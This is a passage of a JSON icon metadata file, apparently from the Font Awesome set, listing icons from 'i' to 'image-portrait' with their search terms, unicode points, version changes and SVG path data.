        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 208C0 104.4 75.7 18.5 174.9 2.6C184 1.2 192 8.6 192 17.9V81.2c0 8.4 6.5 15.3 14.7 16.5C307 112.5 384 199 384 303.4c0 103.6-75.7 189.5-174.9 205.4c-9.2 1.5-17.1-5.9-17.1-15.2V430.2c0-8.4-6.5-15.3-14.7-16.5C77 398.9 0 312.4 0 208zm288 48A96 96 0 1 0 96 256a96 96 0 1 0 192 0zm-96-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 208C0 104.4 75.7 18.5 174.9 2.6C184 1.2 192 8.6 192 17.9V81.2c0 8.4 6.5 15.3 14.7 16.5C307 112.5 384 199 384 303.4c0 103.6-75.7 189.5-174.9 205.4c-9.2 1.5-17.1-5.9-17.1-15.2V430.2c0-8.4-6.5-15.3-14.7-16.5C77 398.9 0 312.4 0 208zm288 48A96 96 0 1 0 96 256a96 96 0 1 0 192 0zm-96-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "i": {
    "aliases": {
      "unicodes": {
        "composite": ["69"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter I", "Latin Small Letter I", "letter"]
    },
    "styles": ["solid"],
    "unicode": "49",
    "label": "I",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96h96V416H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H192V96h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H160 32z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96h96V416H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H192V96h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H160 32z"
      }
    },
    "free": ["solid"]
  },
  "i-cursor": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f246"]
      }
    },
    "changes": ["4.4.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["editing", "i-beam", "type", "writing"]
    },
    "styles": ["solid"],
    "unicode": "f246",
    "label": "I Cursor",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M.1 29.3C-1.4 47 11.7 62.4 29.3 63.9l8 .7C70.5 67.3 96 95 96 128.3V224H64c-17.7 0-32 14.3-32 32s14.3 32 32 32H96v95.7c0 33.3-25.5 61-58.7 63.8l-8 .7C11.7 449.6-1.4 465 .1 482.7s16.9 30.7 34.5 29.2l8-.7c34.1-2.8 64.2-18.9 85.4-42.9c21.2 24 51.2 40.1 85.4 42.9l8 .7c17.6 1.5 33.1-11.6 34.5-29.2s-11.6-33.1-29.2-34.5l-8-.7C185.5 444.7 160 417 160 383.7V288h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H160V128.3c0-33.3 25.5-61 58.7-63.8l8-.7c17.6-1.5 30.7-16.9 29.2-34.5S239-1.4 221.3 .1l-8 .7C179.2 3.6 149.2 19.7 128 43.7c-21.2-24-51.2-40-85.4-42.9l-8-.7C17-1.4 1.6 11.7 .1 29.3z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M.1 29.3C-1.4 47 11.7 62.4 29.3 63.9l8 .7C70.5 67.3 96 95 96 128.3V224H64c-17.7 0-32 14.3-32 32s14.3 32 32 32H96v95.7c0 33.3-25.5 61-58.7 63.8l-8 .7C11.7 449.6-1.4 465 .1 482.7s16.9 30.7 34.5 29.2l8-.7c34.1-2.8 64.2-18.9 85.4-42.9c21.2 24 51.2 40.1 85.4 42.9l8 .7c17.6 1.5 33.1-11.6 34.5-29.2s-11.6-33.1-29.2-34.5l-8-.7C185.5 444.7 160 417 160 383.7V288h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H160V128.3c0-33.3 25.5-61 58.7-63.8l8-.7c17.6-1.5 30.7-16.9 29.2-34.5S239-1.4 221.3 .1l-8 .7C179.2 3.6 149.2 19.7 128 43.7c-21.2-24-51.2-40-85.4-42.9l-8-.7C17-1.4 1.6 11.7 .1 29.3z"
      }
    },
    "free": ["solid"]
  },
  "ice-cream": {
    "aliases": {
      "unicodes": {
        "composite": ["1f368"],
        "secondary": ["10f810"]
      }
    },
    "changes": [
      "5.7.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "chocolate",
        "cone",
        "cream",
        "dessert",
        "frozen",
        "ice",
        "ice cream",
        "scoop",
        "sorbet",
        "sweet",
        "vanilla",
        "yogurt"
      ]
    },
    "styles": ["solid"],
    "unicode": "f810",
    "label": "Ice Cream",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M367.1 160c.6-5.3 .9-10.6 .9-16C368 64.5 303.5 0 224 0S80 64.5 80 144c0 5.4 .3 10.7 .9 16H80c-26.5 0-48 21.5-48 48s21.5 48 48 48h53.5 181H368c26.5 0 48-21.5 48-48s-21.5-48-48-48h-.9zM96 288L200.8 497.7c4.4 8.8 13.3 14.3 23.2 14.3s18.8-5.5 23.2-14.3L352 288H96z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M367.1 160c.6-5.3 .9-10.6 .9-16C368 64.5 303.5 0 224 0S80 64.5 80 144c0 5.4 .3 10.7 .9 16H80c-26.5 0-48 21.5-48 48s21.5 48 48 48h53.5 181H368c26.5 0 48-21.5 48-48s-21.5-48-48-48h-.9zM96 288L200.8 497.7c4.4 8.8 13.3 14.3 23.2 14.3s18.8-5.5 23.2-14.3L352 288H96z"
      }
    },
    "free": ["solid"]
  },
  "icicles": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7ad"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cold", "frozen", "hanging", "ice", "seasonal", "sharp"]
    },
    "styles": ["solid"],
    "unicode": "f7ad",
    "label": "Icicles",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M75.8 304.8L1 35.7c-.7-2.5-1-5-1-7.5C0 12.6 12.6 0 28.2 0H482.4C498.8 0 512 13.2 512 29.6c0 1.6-.1 3.3-.4 4.9L434.6 496.1c-1.5 9.2-9.5 15.9-18.8 15.9c-9.2 0-17.1-6.6-18.7-15.6L336 160 307.2 303.9c-1.9 9.3-10.1 16.1-19.6 16.1c-9.2 0-17.2-6.2-19.4-15.1L240 192 210.6 368.2c-1.5 9.1-9.4 15.8-18.6 15.8s-17.1-6.7-18.6-15.8L144 192 115.9 304.3c-2.3 9.2-10.6 15.7-20.1 15.7c-9.3 0-17.5-6.2-20-15.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M75.8 304.8L1 35.7c-.7-2.5-1-5-1-7.5C0 12.6 12.6 0 28.2 0H482.4C498.8 0 512 13.2 512 29.6c0 1.6-.1 3.3-.4 4.9L434.6 496.1c-1.5 9.2-9.5 15.9-18.8 15.9c-9.2 0-17.1-6.6-18.7-15.6L336 160 307.2 303.9c-1.9 9.3-10.1 16.1-19.6 16.1c-9.2 0-17.2-6.2-19.4-15.1L240 192 210.6 368.2c-1.5 9.1-9.4 15.8-18.6 15.8s-17.1-6.7-18.6-15.8L144 192 115.9 304.3c-2.3 9.2-10.6 15.7-20.1 15.7c-9.3 0-17.5-6.2-20-15.2z"
      }
    },
    "free": ["solid"]
  },
  "icons": {
    "aliases": {
      "names": ["heart-music-camera-bolt"],
      "unicodes": {
        "secondary": ["10f86d"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bolt", "emoji", "heart", "image", "music", "photo", "symbols"]
    },
    "styles": ["solid"],
    "unicode": "f86d",
    "label": "Icons",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M500.3 7.3C507.7 13.3 512 22.4 512 32V176c0 26.5-28.7 48-64 48s-64-21.5-64-48s28.7-48 64-48V71L352 90.2V208c0 26.5-28.7 48-64 48s-64-21.5-64-48s28.7-48 64-48V64c0-15.3 10.8-28.4 25.7-31.4l160-32c9.4-1.9 19.1 .6 26.6 6.6zM74.7 304l11.8-17.8c5.9-8.9 15.9-14.2 26.6-14.2h61.7c10.7 0 20.7 5.3 26.6 14.2L213.3 304H240c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V352c0-26.5 21.5-48 48-48H74.7zM192 408a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM478.7 278.3L440.3 368H496c6.7 0 12.6 4.1 15 10.4s.6 13.3-4.4 17.7l-128 112c-5.6 4.9-13.9 5.3-19.9 .9s-8.2-12.4-5.3-19.2L391.7 400H336c-6.7 0-12.6-4.1-15-10.4s-.6-13.3 4.4-17.7l128-112c5.6-4.9 13.9-5.3 19.9-.9s8.2 12.4 5.3 19.2zm-339-59.2c-6.5 6.5-17 6.5-23 0L19.9 119.2c-28-29-26.5-76.9 5-103.9c27-23.5 68.4-19 93.4 6.5l10 10.5 9.5-10.5c25-25.5 65.9-30 93.9-6.5c31 27 32.5 74.9 4.5 103.9l-96.4 99.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M500.3 7.3C507.7 13.3 512 22.4 512 32V176c0 26.5-28.7 48-64 48s-64-21.5-64-48s28.7-48 64-48V71L352 90.2V208c0 26.5-28.7 48-64 48s-64-21.5-64-48s28.7-48 64-48V64c0-15.3 10.8-28.4 25.7-31.4l160-32c9.4-1.9 19.1 .6 26.6 6.6zM74.7 304l11.8-17.8c5.9-8.9 15.9-14.2 26.6-14.2h61.7c10.7 0 20.7 5.3 26.6 14.2L213.3 304H240c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V352c0-26.5 21.5-48 48-48H74.7zM192 408a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM478.7 278.3L440.3 368H496c6.7 0 12.6 4.1 15 10.4s.6 13.3-4.4 17.7l-128 112c-5.6 4.9-13.9 5.3-19.9 .9s-8.2-12.4-5.3-19.2L391.7 400H336c-6.7 0-12.6-4.1-15-10.4s-.6-13.3 4.4-17.7l128-112c5.6-4.9 13.9-5.3 19.9-.9s8.2 12.4 5.3 19.2zm-339-59.2c-6.5 6.5-17 6.5-23 0L19.9 119.2c-28-29-26.5-76.9 5-103.9c27-23.5 68.4-19 93.4 6.5l10 10.5 9.5-10.5c25-25.5 65.9-30 93.9-6.5c31 27 32.5 74.9 4.5 103.9l-96.4 99.9z"
      }
    },
    "free": ["solid"]
  },
  "id-badge": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f2c1"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.0.3",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["address", "contact", "identification", "license", "profile"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2c1",
    "label": "Id Badge",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zm96 320h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM144 64h96c8.8 0 16 7.2 16 16s-7.2 16-16 16H144c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zm96 320h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM144 64h96c8.8 0 16 7.2 16 16s-7.2 16-16 16H144c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      },
      "regular": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M256 48V64c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320c8.8 0 16-7.2 16-16V64c0-8.8-7.2-16-16-16H256zM0 64C0 28.7 28.7 0 64 0H320c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM160 320h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M256 48V64c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320c8.8 0 16-7.2 16-16V64c0-8.8-7.2-16-16-16H256zM0 64C0 28.7 28.7 0 64 0H320c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM160 320h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "id-card": {
    "aliases": {
      "names": ["drivers-license"],
      "unicodes": {
        "composite": ["f2c3"],
        "secondary": ["10f2c2"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.0.3",
      "5.8.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "contact",
        "demographics",
        "document",
        "identification",
        "issued",
        "profile",
        "registration"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2c2",
    "label": "Id Card",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 96l576 0c0-35.3-28.7-64-64-64H64C28.7 32 0 60.7 0 96zm0 32V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128H0zM64 405.3c0-29.5 23.9-53.3 53.3-53.3H234.7c29.5 0 53.3 23.9 53.3 53.3c0 5.9-4.8 10.7-10.7 10.7H74.7c-5.9 0-10.7-4.8-10.7-10.7zM176 192a64 64 0 1 1 0 128 64 64 0 1 1 0-128zm176 16c0-8.8 7.2-16 16-16H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 96l576 0c0-35.3-28.7-64-64-64H64C28.7 32 0 60.7 0 96zm0 32V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128H0zM64 405.3c0-29.5 23.9-53.3 53.3-53.3H234.7c29.5 0 53.3 23.9 53.3 53.3c0 5.9-4.8 10.7-10.7 10.7H74.7c-5.9 0-10.7-4.8-10.7-10.7zM176 192a64 64 0 1 1 0 128 64 64 0 1 1 0-128zm176 16c0-8.8 7.2-16 16-16H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16z"
      },
      "regular": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528 160V416c0 8.8-7.2 16-16 16H320c0-44.2-35.8-80-80-80H176c-44.2 0-80 35.8-80 80H64c-8.8 0-16-7.2-16-16V160H528zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM272 256a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zm104-48c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H376zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H376z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M528 160V416c0 8.8-7.2 16-16 16H320c0-44.2-35.8-80-80-80H176c-44.2 0-80 35.8-80 80H64c-8.8 0-16-7.2-16-16V160H528zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM272 256a64 64 0 1 0 -128 0 64 64 0 1 0 128 0zm104-48c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H376zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H376z"
      }
    },
    "free": ["regular", "solid"]
  },
  "id-card-clip": {
    "aliases": {
      "names": ["id-card-alt"],
      "unicodes": {
        "secondary": ["10f47f"]
      }
    },
    "changes": ["5.0.7", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "contact",
        "demographics",
        "document",
        "identification",
        "issued",
        "profile"
      ]
    },
    "styles": ["solid"],
    "unicode": "f47f",
    "label": "Id Card Clip",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M256 0h64c17.7 0 32 14.3 32 32V96c0 17.7-14.3 32-32 32H256c-17.7 0-32-14.3-32-32V32c0-17.7 14.3-32 32-32zM64 64H192v48c0 26.5 21.5 48 48 48h96c26.5 0 48-21.5 48-48V64H512c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128C0 92.7 28.7 64 64 64zM176 437.3c0 5.9 4.8 10.7 10.7 10.7H389.3c5.9 0 10.7-4.8 10.7-10.7c0-29.5-23.9-53.3-53.3-53.3H229.3c-29.5 0-53.3 23.9-53.3 53.3zM288 352a64 64 0 1 0 0-128 64 64 0 1 0 0 128z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M256 0h64c17.7 0 32 14.3 32 32V96c0 17.7-14.3 32-32 32H256c-17.7 0-32-14.3-32-32V32c0-17.7 14.3-32 32-32zM64 64H192v48c0 26.5 21.5 48 48 48h96c26.5 0 48-21.5 48-48V64H512c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128C0 92.7 28.7 64 64 64zM176 437.3c0 5.9 4.8 10.7 10.7 10.7H389.3c5.9 0 10.7-4.8 10.7-10.7c0-29.5-23.9-53.3-53.3-53.3H229.3c-29.5 0-53.3 23.9-53.3 53.3zM288 352a64 64 0 1 0 0-128 64 64 0 1 0 0 128z"
      }
    },
    "free": ["solid"]
  },
  "ideal": {
    "changes": ["5.12.0", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e013",
    "label": "iDeal",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M125.61,165.48a49.07,49.07,0,1,0,49.06,49.06A49.08,49.08,0,0,0,125.61,165.48ZM86.15,425.84h78.94V285.32H86.15Zm151.46-211.6c0-20-10-22.53-18.74-22.53H204.82V237.5h14.05C228.62,237.5,237.61,234.69,237.61,214.24Zm201.69,46V168.93h22.75V237.5h33.69C486.5,113.08,388.61,86.19,299.67,86.19H204.84V169h14c25.6,0,41.5,17.35,41.5,45.26,0,28.81-15.52,46-41.5,46h-14V425.88h94.83c144.61,0,194.94-67.16,196.72-165.64Zm-109.75,0H273.3V169h54.43v22.73H296v10.58h30V225H296V237.5h33.51Zm74.66,0-5.16-17.67H369.31l-5.18,17.67H340.47L368,168.92h32.35l27.53,91.34ZM299.65,32H32V480H299.65c161.85,0,251-79.73,251-224.52C550.62,172,518,32,299.65,32Zm0,426.92H53.07V53.07H299.65c142.1,0,229.9,64.61,229.9,202.41C529.55,389.57,448.55,458.92,299.65,458.92Zm83.86-264.85L376,219.88H392.4l-7.52-25.81Z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M125.61,165.48a49.07,49.07,0,1,0,49.06,49.06A49.08,49.08,0,0,0,125.61,165.48ZM86.15,425.84h78.94V285.32H86.15Zm151.46-211.6c0-20-10-22.53-18.74-22.53H204.82V237.5h14.05C228.62,237.5,237.61,234.69,237.61,214.24Zm201.69,46V168.93h22.75V237.5h33.69C486.5,113.08,388.61,86.19,299.67,86.19H204.84V169h14c25.6,0,41.5,17.35,41.5,45.26,0,28.81-15.52,46-41.5,46h-14V425.88h94.83c144.61,0,194.94-67.16,196.72-165.64Zm-109.75,0H273.3V169h54.43v22.73H296v10.58h30V225H296V237.5h33.51Zm74.66,0-5.16-17.67H369.31l-5.18,17.67H340.47L368,168.92h32.35l27.53,91.34ZM299.65,32H32V480H299.65c161.85,0,251-79.73,251-224.52C550.62,172,518,32,299.65,32Zm0,426.92H53.07V53.07H299.65c142.1,0,229.9,64.61,229.9,202.41C529.55,389.57,448.55,458.92,299.65,458.92Zm83.86-264.85L376,219.88H392.4l-7.52-25.81Z"
      }
    },
    "free": ["brands"]
  },
  "igloo": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7ae"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["dome", "dwelling", "eskimo", "home", "house", "ice", "snow"]
    },
    "styles": ["solid"],
    "unicode": "f7ae",
    "label": "Igloo",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M320 33.8V160H48.5C100.2 82.8 188.1 32 288 32c10.8 0 21.5 .6 32 1.8zM352 160V39.1C424.9 55.7 487.2 99.8 527.5 160H352zM29.9 192H96V320H0c0-46 10.8-89.4 29.9-128zM192 320H128V192H448V320H384v32H576v80c0 26.5-21.5 48-48 48H352V352c0-35.3-28.7-64-64-64s-64 28.7-64 64V480H48c-26.5 0-48-21.5-48-48V352H192V320zm288 0V192h66.1c19.2 38.6 29.9 82 29.9 128H480z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M320 33.8V160H48.5C100.2 82.8 188.1 32 288 32c10.8 0 21.5 .6 32 1.8zM352 160V39.1C424.9 55.7 487.2 99.8 527.5 160H352zM29.9 192H96V320H0c0-46 10.8-89.4 29.9-128zM192 320H128V192H448V320H384v32H576v80c0 26.5-21.5 48-48 48H352V352c0-35.3-28.7-64-64-64s-64 28.7-64 64V480H48c-26.5 0-48-21.5-48-48V352H192V320zm288 0V192h66.1c19.2 38.6 29.9 82 29.9 128H480z"
      }
    },
    "free": ["solid"]
  },
  "image": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f03e"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["album", "landscape", "photo", "picture"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f03e",
    "label": "Image",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM323.8 202.5c-4.5-6.6-11.9-10.5-19.8-10.5s-15.4 3.9-19.8 10.5l-87 127.6L170.7 297c-4.6-5.7-11.5-9-18.7-9s-14.2 3.3-18.7 9l-64 80c-5.8 7.2-6.9 17.1-2.9 25.4s12.4 13.6 21.6 13.6h96 32H424c8.9 0 17.1-4.9 21.2-12.8s3.6-17.4-1.4-24.7l-120-176zM112 192a48 48 0 1 0 0-96 48 48 0 1 0 0 96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM323.8 202.5c-4.5-6.6-11.9-10.5-19.8-10.5s-15.4 3.9-19.8 10.5l-87 127.6L170.7 297c-4.6-5.7-11.5-9-18.7-9s-14.2 3.3-18.7 9l-64 80c-5.8 7.2-6.9 17.1-2.9 25.4s12.4 13.6 21.6 13.6h96 32H424c8.9 0 17.1-4.9 21.2-12.8s3.6-17.4-1.4-24.7l-120-176zM112 192a48 48 0 1 0 0-96 48 48 0 1 0 0 96z"
      },
      "regular": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 80c8.8 0 16 7.2 16 16V415.8l-5-6.5-136-176c-4.5-5.9-11.6-9.3-19-9.3s-14.4 3.4-19 9.3L202 340.7l-30.5-42.7C167 291.7 159.8 288 152 288s-15 3.7-19.5 10.1l-80 112L48 416.3l0-.3V96c0-8.8 7.2-16 16-16H448zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm80 192a48 48 0 1 0 0-96 48 48 0 1 0 0 96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 80c8.8 0 16 7.2 16 16V415.8l-5-6.5-136-176c-4.5-5.9-11.6-9.3-19-9.3s-14.4 3.4-19 9.3L202 340.7l-30.5-42.7C167 291.7 159.8 288 152 288s-15 3.7-19.5 10.1l-80 112L48 416.3l0-.3V96c0-8.8 7.2-16 16-16H448zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm80 192a48 48 0 1 0 0-96 48 48 0 1 0 0 96z"
      }
    },
    "free": ["regular", "solid"]
  },
  "image-portrait": {
    "aliases": {
      "names": ["portrait"],
      "unicodes": {
        "secondary": ["10f3e0"]
      }
    },
    "changes": ["5.0.0", "5.0.3", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["id", "image", "photo", "picture", "selfie"]
    },
    "styles": ["solid"],
    "unicode": "f3e0",
    "label": "Image Portrait",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
